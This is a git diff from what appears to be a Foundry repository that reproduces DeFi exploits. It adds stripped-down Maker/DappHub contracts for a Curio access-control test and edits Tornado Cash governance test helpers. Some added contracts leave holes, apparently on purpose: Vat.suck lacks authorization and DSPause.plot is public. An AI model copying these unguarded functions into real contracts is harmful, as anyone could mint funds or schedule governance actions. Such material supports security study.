a/test/Access_Control/Curio/ds-contracts/Chief/thing.sol b/test/Access_Control/Curio/ds-contracts/Chief/thing.sol new file mode 100644 index 0000000..22290c2 --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/Chief/thing.sol @@ -0,0 +1,28 @@ +// thing.sol - `auth` with handy mixins. your things should be DSThings + +// Copyright (C) 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./auth.sol"; +import "./note.sol"; +import "./math.sol"; + +contract DSThing is DSAuth, DSNote, DSMath { + function S(string memory s) internal pure returns (bytes4) { + return bytes4(keccak256(abi.encodePacked(s))); + } +} diff --git a/test/Access_Control/Curio/ds-contracts/Chief/token.sol b/test/Access_Control/Curio/ds-contracts/Chief/token.sol new file mode 100644 index 0000000..9003f9b --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/Chief/token.sol @@ -0,0 +1,130 @@ +/// token.sol -- ERC20 implementation with minting and burning + +// Copyright (C) 2015, 2016, 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./math.sol"; +import "./auth.sol"; + +contract DSToken is DSMath, DSAuth { + bool public stopped; + uint256 public totalSupply; + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + string public symbol; + uint8 public decimals = 18; // standard token precision. override to customize + string public name = ""; // Optional token name + + constructor(string memory symbol_) public { + symbol = symbol_; + } + + event Approval(address indexed src, address indexed guy, uint256 wad); + event Transfer(address indexed src, address indexed dst, uint256 wad); + event Mint(address indexed guy, uint256 wad); + event Burn(address indexed guy, uint256 wad); + event Stop(); + event Start(); + + modifier stoppable() { + require(!stopped, "ds-stop-is-stopped"); + _; + } + + function approve(address guy) external returns (bool) { + return approve(guy, type(uint256).max); + } + + function approve(address guy, uint256 wad) public stoppable returns (bool) { + allowance[msg.sender][guy] = wad; + + emit Approval(msg.sender, guy, wad); + + return true; + } + + function transfer(address dst, uint256 wad) external returns (bool) { + return transferFrom(msg.sender, dst, wad); + } + + function transferFrom(address src, address dst, uint256 wad) public stoppable returns (bool) { + if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) { + require(allowance[src][msg.sender] >= wad, "ds-token-insufficient-approval"); + allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad); + } + + require(balanceOf[src] >= wad, "ds-token-insufficient-balance"); + balanceOf[src] = sub(balanceOf[src], wad); + balanceOf[dst] = add(balanceOf[dst], wad); + + emit Transfer(src, dst, wad); + + return true; + } + + function push(address dst, uint256 wad) external { + transferFrom(msg.sender, dst, wad); + } + + function pull(address src, uint256 wad) external { + transferFrom(src, msg.sender, wad); + } + + function move(address src, address dst, uint256 wad) external { + transferFrom(src, dst, wad); + } + + function mint(uint256 wad) external { + mint(msg.sender, wad); + } + + function burn(uint256 wad) external { + burn(msg.sender, wad); + } + + function mint(address guy, uint256 wad) public auth stoppable { + balanceOf[guy] = add(balanceOf[guy], wad); + totalSupply = add(totalSupply, wad); + emit Mint(guy, wad); + } + + function burn(address guy, uint256 wad) public auth stoppable { + if (guy != msg.sender && allowance[guy][msg.sender] != type(uint256).max) { + require(allowance[guy][msg.sender] >= wad, "ds-token-insufficient-approval"); + allowance[guy][msg.sender] = sub(allowance[guy][msg.sender], wad); + } + + require(balanceOf[guy] >= wad, "ds-token-insufficient-balance"); + balanceOf[guy] = sub(balanceOf[guy], wad); + totalSupply = sub(totalSupply, wad); + emit Burn(guy, wad); + } + + function stop() public auth { + stopped = true; + emit Stop(); + } + + function start() public auth { + stopped = false; + emit Start(); + } + + function setName(string memory name_) public auth { + name = name_; + } +} diff --git a/test/Access_Control/Curio/ds-contracts/join.sol b/test/Access_Control/Curio/ds-contracts/join.sol new file mode 100644 index 0000000..028a682 --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/join.sol @@ -0,0 +1,189 @@ +// SPDX-License-Identifier: AGPL-3.0-or-later + +/// join.sol -- Basic token adapters + +// Copyright (C) 2018 Rain +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.12; + +// FIXME: This contract was altered compared to the production version. +// It doesn't use LibNote anymore. +// New deployments of this contract will need to include custom events (TO DO). + +interface GemLike { + function decimals() external view returns (uint256); + function transfer(address, uint256) external returns (bool); + function transferFrom(address, address, uint256) external returns (bool); +} + +interface DSTokenLike { + function mint(address, uint256) external; + function burn(address, uint256) external; +} + +interface VatLike { + function slip(bytes32, address, int256) external; + function move(address, address, uint256) external; +} + +/* + Here we provide *adapters* to connect the Vat to arbitrary external + token implementations, creating a bounded context for the Vat. The + adapters here are provided as working examples: + + - `GemJoin`: For well behaved ERC20 tokens, with simple transfer + semantics. + + - `ETHJoin`: For native Ether. + + - `DaiJoin`: For connecting internal Dai balances to an external + `DSToken` implementation. + + In practice, adapter implementations will be varied and specific to + individual collateral types, accounting for different transfer + semantics and token standards. + + Adapters need to implement two basic methods: + + - `join`: enter collateral into the system + - `exit`: remove collateral from the system + +*/ + +contract GemJoin { + // --- Auth --- + mapping(address => uint256) public wards; + + function rely(address usr) external auth { + wards[usr] = 1; + emit Rely(usr); + } + + function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); + } + + modifier auth() { + require(wards[msg.sender] == 1, "GemJoin/not-authorized"); + _; + } + + VatLike public vat; // CDP Engine + bytes32 public ilk; // Collateral Type + GemLike public gem; + uint256 public dec; + uint256 public live; // Active Flag + + // Events + event Rely(address indexed usr); + event Deny(address indexed usr); + event Join(address indexed usr, uint256 wad); + event Exit(address indexed usr, uint256 wad); + event Cage(); + + constructor(address vat_, bytes32 ilk_, address gem_) public { + wards[msg.sender] = 1; + live = 1; + vat = VatLike(vat_); + ilk = ilk_; + gem = GemLike(gem_); + dec = gem.decimals(); + emit Rely(msg.sender); + } + + function cage() external auth { + live = 0; + emit Cage(); + } + + function join(address usr, uint256 wad) external { + require(live == 1, "GemJoin/not-live"); + require(int256(wad) >= 0, "GemJoin/overflow"); + vat.slip(ilk, usr, int256(wad)); + require(gem.transferFrom(msg.sender, address(this), wad), "GemJoin/failed-transfer"); + emit Join(usr, wad); + } + + function exit(address usr, uint256 wad) external { + require(wad <= 2 ** 255, "GemJoin/overflow"); + vat.slip(ilk, msg.sender, -int256(wad)); + require(gem.transfer(usr, wad), "GemJoin/failed-transfer"); + emit Exit(usr, wad); + } +} + +contract DaiJoin { + // --- Auth --- + mapping(address => uint256) public wards; + + function rely(address usr) external auth { + wards[usr] = 1; + emit Rely(usr); + } + + function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); + } + + modifier auth() { + require(wards[msg.sender] == 1, "DaiJoin/not-authorized"); + _; + } + + VatLike public vat; // CDP Engine + DSTokenLike public dai; // Stablecoin Token + uint256 public live; // Active Flag + + // Events + event Rely(address indexed usr); + event Deny(address indexed usr); + event Join(address indexed usr, uint256 wad); + event Exit(address indexed usr, uint256 wad); + event Cage(); + + constructor(address vat_, address dai_) public { + wards[msg.sender] = 1; + live = 1; + vat = VatLike(vat_); + dai = DSTokenLike(dai_); + } + + function cage() external auth { + live = 0; + emit Cage(); + } + + uint256 constant ONE = 10 ** 27; + + function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { + require(y == 0 || (z = x * y) / y == x); + } + + function join(address usr, uint256 wad) external { + vat.move(address(this), usr, mul(ONE, wad)); + dai.burn(msg.sender, wad); + emit Join(usr, wad); + } + + function exit(address usr, uint256 wad) external { + require(live == 1, "DaiJoin/not-live"); + vat.move(msg.sender, address(this), mul(ONE, wad)); + dai.mint(usr, wad); + emit Exit(usr, wad); + } +} diff --git a/test/Access_Control/Curio/ds-contracts/pause.sol b/test/Access_Control/Curio/ds-contracts/pause.sol new file mode 100644 index 0000000..2480429 --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/pause.sol @@ -0,0 +1,60 @@ +pragma solidity ^0.8.24; + +contract DSPause { + uint256 public delay; + DSPauseProxy public proxy; + mapping(bytes32 => bool) public plans; + + constructor(uint256 delay_, address owner_, address authority_) public { + delay = delay_; + proxy = new DSPauseProxy(); + } + + function hash(address usr, bytes32 tag, bytes memory fax, uint256 eta) internal pure returns (bytes32) { + return keccak256(abi.encode(usr, tag, fax, eta)); + } + + function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) public { + require(eta >= block.timestamp + delay, "ds-pause-delay-not-respected"); + plans[hash(usr, tag, fax, eta)] = true; + } + + function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) + public + returns (bytes memory out) + { + require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan"); + require(soul(usr) == tag, "ds-pause-wrong-codehash"); + require(block.timestamp >= eta, "ds-pause-premature-exec"); + + plans[hash(usr, tag, fax, eta)] = false; + + out = proxy.exec(usr, fax); + require(proxy.owner() == address(this), "ds-pause-illegal-storage-change"); + } + + function soul(address usr) internal view returns (bytes32 tag) { + assembly { + tag := extcodehash(usr) + } + } +} + +contract DSPauseProxy { + address public owner; + + modifier auth() { + require(msg.sender == owner, "ds-pause-proxy-unauthorized"); + _; + } + + constructor() public { + owner = msg.sender; + } + + function exec(address usr, bytes memory fax) public auth returns (bytes memory out) { + bool ok; + (ok, out) = usr.delegatecall(fax); + require(ok, "ds-pause-delegatecall-error"); + } +} diff --git a/test/Access_Control/Curio/ds-contracts/vat.sol b/test/Access_Control/Curio/ds-contracts/vat.sol new file mode 100644 index 0000000..1add652 --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/vat.sol @@ -0,0 +1,283 @@ +// SPDX-License-Identifier: AGPL-3.0-or-later + +/// vat.sol -- Dai CDP database + +// Copyright (C) 2018 Rain +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.12; + +// FIXME: This contract was altered compared to the production version. +// It doesn't use LibNote anymore. +// New deployments of this contract will need to include custom events (TO DO). + +contract Vat { + // --- Auth --- + mapping(address => uint256) public wards; + + function rely(address usr) external auth { + require(live == 1, "Vat/not-live"); + wards[usr] = 1; + } + + function deny(address usr) external auth { + require(live == 1, "Vat/not-live"); + wards[usr] = 0; + } + + modifier auth() { + require(wards[msg.sender] == 1, "Vat/not-authorized"); + _; + } + + mapping(address => mapping(address => uint256)) public can; + + function hope(address usr) external { + can[msg.sender][usr] = 1; + } + + function nope(address usr) external { + can[msg.sender][usr] = 0; + } + + function wish(address bit, address usr) internal view returns (bool) { + return either(bit == usr, can[bit][usr] == 1); + } + + // --- Data --- + struct Ilk { + uint256 Art; // Total Normalised Debt [wad] + uint256 rate; // Accumulated Rates [ray] + uint256 spot; // Price with Safety Margin [ray] + uint256 line; // Debt Ceiling [rad] + uint256 dust; // Urn Debt Floor [rad] + } + + struct Urn { + uint256 ink; // Locked Collateral [wad] + uint256 art; // Normalised Debt [wad] + } + + mapping(bytes32 => Ilk) public ilks; + mapping(bytes32 => mapping(address => Urn)) public urns; + mapping(bytes32 => mapping(address => uint256)) public gem; // [wad] + mapping(address => uint256) public dai; // [rad] + mapping(address => uint256) public sin; // [rad] + + uint256 public debt; // Total Dai Issued [rad] + uint256 public vice; // Total Unbacked Dai [rad] + uint256 public Line; // Total Debt Ceiling [rad] + uint256 public live; // Active Flag + + // --- Init --- + constructor() public { + wards[msg.sender] = 1; + live = 1; + } + + // --- Math --- + function _add(uint256 x, int256 y) internal pure returns (uint256 z) { + z = x + uint256(y); + require(y >= 0 || z <= x); + require(y <= 0 || z >= x); + } + + function _sub(uint256 x, int256 y) internal pure returns (uint256 z) { + z = x - uint256(y); + require(y <= 0 || z <= x); + require(y >= 0 || z >= x); + } + + function _mul(uint256 x, int256 y) internal pure returns (int256 z) { + z = int256(x) * y; + require(int256(x) >= 0); + require(y == 0 || z / y == int256(x)); + } + + function _add(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x + y) >= x); + } + + function _sub(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x - y) <= x); + } + + function _mul(uint256 x, uint256 y) internal pure returns (uint256 z) { + require(y == 0 || (z = x * y) / y == x); + } + + // --- Administration --- + function init(bytes32 ilk) external auth { + require(ilks[ilk].rate == 0, "Vat/ilk-already-init"); + ilks[ilk].rate = 10 ** 27; + } + + function file(bytes32 what, uint256 data) external auth { + require(live == 1, "Vat/not-live"); + if (what == "Line") Line = data; + else revert("Vat/file-unrecognized-param"); + } + + function file(bytes32 ilk, bytes32 what, uint256 data) external auth { + require(live == 1, "Vat/not-live"); + if (what == "spot") ilks[ilk].spot = data; + else if (what == "line") ilks[ilk].line = data; + else if (what == "dust") ilks[ilk].dust = data; + else revert("Vat/file-unrecognized-param"); + } + + function cage() external auth { + live = 0; + } + + // --- Fungibility --- + function slip(bytes32 ilk, address usr, int256 wad) external auth { + gem[ilk][usr] = _add(gem[ilk][usr], wad); + } + + function flux(bytes32 ilk, address src, address dst, uint256 wad) external { + require(wish(src, msg.sender), "Vat/not-allowed"); + gem[ilk][src] = _sub(gem[ilk][src], wad); + gem[ilk][dst] = _add(gem[ilk][dst], wad); + } + + function move(address src, address dst, uint256 rad) external { + require(wish(src, msg.sender), "Vat/not-allowed"); + dai[src] = _sub(dai[src], rad); + dai[dst] = _add(dai[dst], rad); + } + + function either(bool x, bool y) internal pure returns (bool z) { + assembly { + z := or(x, y) + } + } + + function both(bool x, bool y) internal pure returns (bool z) { + assembly { + z := and(x, y) + } + } + + // --- CDP Manipulation --- + function frob(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external { + // system is live + require(live == 1, "Vat/not-live"); + + Urn memory urn = urns[i][u]; + Ilk memory ilk = ilks[i]; + // ilk has been initialised + require(ilk.rate != 0, "Vat/ilk-not-init"); + + urn.ink = _add(urn.ink, dink); + urn.art = _add(urn.art, dart); + ilk.Art = _add(ilk.Art, dart); + + int256 dtab = _mul(ilk.rate, dart); + uint256 tab = _mul(ilk.rate, urn.art); + debt = _add(debt, dtab); + + // either debt has decreased, or debt ceilings are not exceeded + require( + either(dart <= 0, both(_mul(ilk.Art, ilk.rate) <= ilk.line, debt <= Line)), "Vat/ceiling-exceeded" + ); + // urn is either less risky than before, or it is safe + require(either(both(dart <= 0, dink >= 0), tab <= _mul(urn.ink, ilk.spot)), "Vat/not-safe"); + + // urn is either more safe, or the owner consents + require(either(both(dart <= 0, dink >= 0), wish(u, msg.sender)), "Vat/not-allowed-u"); + // collateral src consents + require(either(dink <= 0, wish(v, msg.sender)), "Vat/not-allowed-v"); + // debt dst consents + require(either(dart >= 0, wish(w, msg.sender)), "Vat/not-allowed-w"); + + // urn has no debt, or a non-dusty amount + require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust"); + + gem[i][v] = _sub(gem[i][v], dink); + dai[w] = _add(dai[w], dtab); + + urns[i][u] = urn; + ilks[i] = ilk; + } + // --- CDP Fungibility --- + + function fork(bytes32 ilk, address src, address dst, int256 dink, int256 dart) external { + Urn storage u = urns[ilk][src]; + Urn storage v = urns[ilk][dst]; + Ilk storage i = ilks[ilk]; + + u.ink = _sub(u.ink, dink); + u.art = _sub(u.art, dart); + v.ink = _add(v.ink, dink); + v.art = _add(v.art, dart); + + uint256 utab = _mul(u.art, i.rate); + uint256 vtab = _mul(v.art, i.rate); + + // both sides consent + require(both(wish(src, msg.sender), wish(dst, msg.sender)), "Vat/not-allowed"); + + // both sides safe + require(utab <= _mul(u.ink, i.spot), "Vat/not-safe-src"); + require(vtab <= _mul(v.ink, i.spot), "Vat/not-safe-dst"); + + // both sides non-dusty + require(either(utab >= i.dust, u.art == 0), "Vat/dust-src"); + require(either(vtab >= i.dust, v.art == 0), "Vat/dust-dst"); + } + // --- CDP Confiscation --- + + function grab(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external auth { + Urn storage urn = urns[i][u]; + Ilk storage ilk = ilks[i]; + + urn.ink = _add(urn.ink, dink); + urn.art = _add(urn.art, dart); + ilk.Art = _add(ilk.Art, dart); + + int256 dtab = _mul(ilk.rate, dart); + + gem[i][v] = _sub(gem[i][v], dink); + sin[w] = _sub(sin[w], dtab); + vice = _sub(vice, dtab); + } + + // --- Settlement --- + function heal(uint256 rad) external { + address u = msg.sender; + sin[u] = _sub(sin[u], rad); + dai[u] = _sub(dai[u], rad); + vice = _sub(vice, rad); + debt = _sub(debt, rad); + } + + function suck(address u, address v, uint256 rad) external { + sin[u] = _add(sin[u], rad); + dai[v] = _add(dai[v], rad); + vice = _add(vice, rad); + debt = _add(debt, rad); + } + + // --- Rates --- + function fold(bytes32 i, address u, int256 rate) external auth { + require(live == 1, "Vat/not-live"); + Ilk storage ilk = ilks[i]; + ilk.rate = _add(ilk.rate, rate); + int256 rad = _mul(ilk.Art, rate); + dai[u] = _add(dai[u], rad); + debt = _add(debt, rad); + } +} diff --git a/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol b/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol index 80a8704..e672c21 100644 --- a/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol +++ b/test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.sol @@ -239,4 +239,23 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker { updateBalanceTracker(ATTACKER1); updateBalanceTracker(ATTACKER2); } + + // New cheatcode created by @joaquinlpereyra @Coinspect merged in foundry at + // https://github.com/foundry-rs/foundry/pull/5033 + + // destroys an account inmediatly, sending the balance to beneficiary + // destroying means: balance will be zero, code will be empty, nonce will be zero + // similar to selfdestruct but not identical: selfdestruct destroys code and nonce + // only after tx ends, this will run inmediatly + + // This function was added to Foundry, so instead of overriding we will comment it + // function destroyAccount(address who, address beneficiary) internal virtual { + // uint256 currBalance = who.balance; + // vm.etch(who, abi.encode()); + // vm.deal(who, 0); + // vm.resetNonce(who); + + // uint256 beneficiaryBalance = beneficiary.balance; + // vm.deal(beneficiary, currBalance + beneficiaryBalance); + // } } diff --git a/test/TestHarness.sol b/test/TestHarness.sol index 7ffefc4..c2a40bf 100644 --- a/test/TestHarness.sol +++ b/test/TestHarness.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.17; +pragma solidity >=0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; diff --git a/test/interfaces/00_CheatCodes.interface.sol b/test/interfaces/00_CheatCodes.interface.sol index a5cab68..a4db907 100644 --- a/test/interfaces/00_CheatCodes.interface.sol +++ b/test/interfaces/00_CheatCodes.interface.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: UNLICENSED -pragma solidity 0.8.17; +pragma solidity >=0.8.0; interface CheatCodes { // This allows us to getRecordedLogs() @@ -31,9 +31,7 @@ interface CheatCodes { function store(address account, bytes32 slot, bytes32 value) external; // Signs data - function sign(uint256 privateKey, bytes32 digest) - external - returns (uint8 v, bytes32 r, bytes32 s); + function sign(uint256 privateKey, bytes32 digest) external returns (uint8 v, bytes32 r, bytes32 s); // Computes address for a given private key function addr(uint256 privateKey) external returns (address); @@ -68,35 +66,21 @@ interface CheatCodes { function envBytes(string calldata) external returns (bytes memory); // Read environment variables as arrays, (name, delim) => (value[]) - function envBool(string calldata, string calldata) - external - returns (bool[] memory); - function envUint(string calldata, string calldata) - external - returns (uint256[] memory); - function envInt(string calldata, string calldata) - external - returns (int256[] memory); - function envAddress(string calldata, string calldata) - external - returns (address[] memory); - function envBytes32(string calldata, string calldata) - external - returns (bytes32[] memory); - function envString(string calldata, string calldata) - external - returns (string[] memory); - function envBytes(string calldata, string calldata) - external - returns (bytes[] memory); + function envBool(string calldata, string calldata) external returns (bool[] memory); + function envUint(string calldata, string calldata) external returns (uint256[] memory); + function envInt(string calldata, string calldata) external returns (int256[] memory); + function envAddress(string calldata, string calldata) external returns (address[] memory); + function envBytes32(string calldata, string calldata) external returns (bytes32[] memory); + function envString(string calldata, string calldata) external returns (string[] memory); + function envBytes(string calldata, string calldata) external returns (bytes[] memory); // Convert Solidity types to strings - function toString(address) external returns(string memory); - function toString(bytes calldata) external returns(string memory); - function toString(bytes32) external returns(string memory); - function toString(bool) external returns(string memory); - function toString(uint256) external returns(string memory); - function toString(int256) external returns(string memory); + function toString(address) external returns (string memory); + function toString(bytes calldata) external returns (string memory); + function toString(bytes32) external returns (string memory); + function toString(bool) external returns (string memory); + function toString(uint256) external returns (string memory); + function toString(int256) external returns (string memory); // Sets the *next* call's msg.sender to be the input address function prank(address) external; @@ -132,9 +116,7 @@ interface CheatCodes { // Gets all accessed reads and write slot from a recording session, // for a given address - function accesses(address) - external - returns (bytes32[] memory reads, bytes32[] memory writes); + function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes); // Record all the transaction logs function recordLogs() external; @@ -206,7 +188,8 @@ interface CheatCodes { function projectRoot() external returns (string memory); // Reads next line of file to string, (path) => (line) function readLine(string calldata) external returns (string memory); - // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. + // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it + // does. // (path, data) => () function writeFile(string calldata, string calldata) external; // Writes line to file, creating a file if it does not exist. @@ -215,13 +198,14 @@ interface CheatCodes { // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. // (path) => () function closeFile(string calldata) external; - // Removes file. This cheatcode will revert in the following situations, but is not limited to just these cases: + // Removes file. This cheatcode will revert in the following situations, but is not limited to just these + // cases: // - Path points to a directory. // - The file doesn't exist. // - The user lacks permissions to remove the file. // (path) => () function removeFile(string calldata) external; - + // Return the value(s) that correspond to 'key' function parseJson(string memory json, string memory key) external returns (bytes memory); // Return the entire json file @@ -245,9 +229,7 @@ interface CheatCodes { // Creates _and_ also selects a new fork with the given endpoint and block, // and returns the identifier of the fork - function createSelectFork(string calldata, uint256) - external - returns (uint256); + function createSelectFork(string calldata, uint256) external returns (uint256); // Creates _and_ also selects a new fork with the given endpoint and the // latest block and returns the identifier of the fork function createSelectFork(string calldata) external returns (uint256); diff --git a/test/modules/TokenBalanceTracker.sol b/test/modules/TokenBalanceTracker.sol index c935dd3..efaa968 100644 --- a/test/modules/TokenBalanceTracker.sol +++ b/test/modules/TokenBalanceTracker.sol @@ -1,9 +1,11 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.17; +pragma solidity >=0.8.0; + import "forge-std/Test.sol"; + interface IERC20Local { - function name() external view returns(string memory); - function decimals() external view returns(uint8); + function name() external view returns (string memory); + function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); } @@ -11,34 +13,34 @@ library Strings { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; - function log10(uint256 value) internal pure returns (uint256) { + function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { - if (value >= 10**64) { - value /= 10**64; + if (value >= 10 ** 64) { + value /= 10 ** 64; result += 64; } - if (value >= 10**32) { - value /= 10**32; + if (value >= 10 ** 32) { + value /= 10 ** 32; result += 32; } - if (value >= 10**16) { - value /= 10**16; + if (value >= 10 ** 16) { + value /= 10 ** 16; result += 16; } - if (value >= 10**8) { - value /= 10**8; + if (value >= 10 ** 8) { + value /= 10 ** 8; result += 8; } - if (value >= 10**4) { - value /= 10**4; + if (value >= 10 ** 4) { + value /= 10 ** 4; result += 4; } - if (value >= 10**2) { - value /= 10**2; + if (value >= 10 ** 2) { + value /= 10 ** 2; result += 2; } - if (value >= 10**1) { + if (value >= 10 ** 1) { result += 1; } } @@ -74,7 +76,8 @@ library Strings { contract TokenBalanceTracker { using Strings for uint256; - mapping(address => mapping (address => uint256)) public balanceTracker; // tracks: user => (token => amount). + mapping(address => mapping(address => uint256)) public balanceTracker; // tracks: user => (token => + // amount). address[] public trackedTokens; // Will look something like this. For simplicity, WETH could be the last token. @@ -84,7 +87,7 @@ contract TokenBalanceTracker { // 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC // 0x86ed939B500E121C0C5f493F399084Db596dAd20, // SPC // 0x1b40183EFB4Dd766f11bDa7A7c3AD8982e998421, // VSP - // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 // WETH + // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 // WETH // ]; struct BalanceDeltaReturn { @@ -94,26 +97,26 @@ contract TokenBalanceTracker { function addTokensToTracker(address[] memory _tokens) public { uint256 tokensLength = _tokens.length; - for(uint256 i = 0; i < tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { addTokenToTracker(_tokens[i]); } } function addTokenToTracker(address _token) public { uint256 lenTrackedTokens = trackedTokens.length; - if(lenTrackedTokens == 0){ + if (lenTrackedTokens == 0) { trackedTokens.push(_token); return; } bool alreadyTracked; - for(uint256 i = 0; i < lenTrackedTokens; i++ ){ - if(_token == trackedTokens[i]){ + for (uint256 i = 0; i < lenTrackedTokens; i++) { + if (_token == trackedTokens[i]) { alreadyTracked = true; } } - - if(!alreadyTracked){ + + if (!alreadyTracked) { trackedTokens.push(_token); } } @@ -124,80 +127,109 @@ contract TokenBalanceTracker { } function logBalances(address _from) public { - (BalanceDeltaReturn memory nativeTokenDelta, BalanceDeltaReturn[] memory tokensDelta) = calculateBalanceDelta(_from); + (BalanceDeltaReturn memory nativeTokenDelta, BalanceDeltaReturn[] memory tokensDelta) = + calculateBalanceDelta(_from); // NATIVE TOKENS HANDLING (12-9) - if(nativeTokenDelta.value == 0) { - console.log('Native Tokens: %s', toStringWithDecimals(_from.balance, 18)); + if (nativeTokenDelta.value == 0) { + console.log("Native Tokens: %s", toStringWithDecimals(_from.balance, 18)); } else { - console.log('Native Tokens: %s (%s%s)', toStringWithDecimals(_from.balance, 18), nativeTokenDelta.sign, toStringWithDecimals(nativeTokenDelta.value, 18)); + console.log( + "Native Tokens: %s (%s%s)", + toStringWithDecimals(_from.balance, 18), + nativeTokenDelta.sign, + toStringWithDecimals(nativeTokenDelta.value, 18) + ); } // Other tokens uint256 tokensLength = trackedTokens.length; - if(tokensLength > 0){ - for(uint i = 0; i < tokensLength; i++){ + if (tokensLength > 0) { + for (uint256 i = 0; i < tokensLength; i++) { IERC20Local curToken = IERC20Local(trackedTokens[i]); - if(tokensDelta[i].value == 0) { - console.log('%s: %s', curToken.name(), toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals())); + if (tokensDelta[i].value == 0) { + console.log( + "%s: %s", + curToken.name(), + toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()) + ); } else { - string memory deltaAndSign = string.concat(tokensDelta[i].sign, toStringWithDecimals(tokensDelta[i].value, curToken.decimals())); - console.log('%s: %s (%s)', curToken.name(), toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()), deltaAndSign); + string memory deltaAndSign = string.concat( + tokensDelta[i].sign, toStringWithDecimals(tokensDelta[i].value, curToken.decimals()) + ); + console.log( + "%s: %s (%s)", + curToken.name(), + toStringWithDecimals(curToken.balanceOf(_from), curToken.decimals()), + deltaAndSign + ); } } } updateBalanceTracker(_from); - console.log('\n'); + console.log("\n"); } - function toStringWithDecimals(uint256 _number, uint8 decimals) internal pure returns(string memory){ - uint256 integerToPrint = _number / (10**decimals); - uint256 decimalsToPrint = _number - (_number / (10**decimals)) * (10**decimals); - return string.concat(integerToPrint.toString(), '.', decimalsToPrint.toString()); + function toStringWithDecimals(uint256 _number, uint8 decimals) internal pure returns (string memory) { + uint256 integerToPrint = _number / (10 ** decimals); + uint256 decimalsToPrint = _number - (_number / (10 ** decimals)) * (10 ** decimals); + return string.concat(integerToPrint.toString(), ".", decimalsToPrint.toString()); } function updateBalanceTracker(address _user) internal { balanceTracker[_user][address(0)] = _user.balance; uint256 tokensLength = trackedTokens.length; - if(tokensLength == 0) return; + if (tokensLength == 0) return; - for(uint i = 0; i < tokensLength; i++){ + for (uint256 i = 0; i < tokensLength; i++) { IERC20Local curToken = IERC20Local(trackedTokens[i]); balanceTracker[_user][trackedTokens[i]] = curToken.balanceOf(_user); - } + } } - function getBalanceTrackers(address _user) public view returns(uint256 nativeBalance, uint256[] memory tokenBalances){ + function getBalanceTrackers(address _user) + public + view + returns (uint256 nativeBalance, uint256[] memory tokenBalances) + { nativeBalance = balanceTracker[_user][address(0)]; - + uint256 tokensLength = trackedTokens.length; - if(tokensLength > 0) { + if (tokensLength > 0) { uint256[] memory memBalances = new uint256[](tokensLength); - for(uint i = 0; i < 